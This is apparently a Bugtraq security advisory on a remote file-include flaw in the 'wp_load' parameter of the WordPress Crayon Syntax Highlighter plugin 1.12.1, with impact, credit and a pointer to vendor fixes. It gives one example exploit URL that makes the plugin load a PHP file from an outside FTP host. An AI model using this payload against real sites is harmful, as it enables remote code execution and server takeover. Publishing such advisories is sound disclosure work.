WordPress Crayon Syntax Highlighter Plugin 'wp_load' Parameter Remote File Include Vulnerabilities

Bugtraq ID:	55919
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 15 2012 12:00AM
Updated:	Oct 15 2012 12:00AM
Credit:	Charlie Eriksen with Secunia
Vulnerable:
Not Vulnerable:

WordPress Crayon Syntax Highlighter Plugin 'wp_load' Parameter Remote File Include Vulnerabilities

The Crayon Syntax Highlighter plug-in for WordPress is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Crayon Syntax Highlighter 1.12.1 is vulnerable; other versions may also be affected.

WordPress Crayon Syntax Highlighter Plugin 'wp_load' Parameter Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URI is available:

http://www.example.com/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php

WordPress Crayon Syntax Highlighter Plugin 'wp_load' Parameter Remote File Include Vulnerabilities

Solution:
Vendor updates are available. Please see the references for more information.

WordPress Crayon Syntax Highlighter Plugin 'wp_load' Parameter Remote File Include Vulnerabilities

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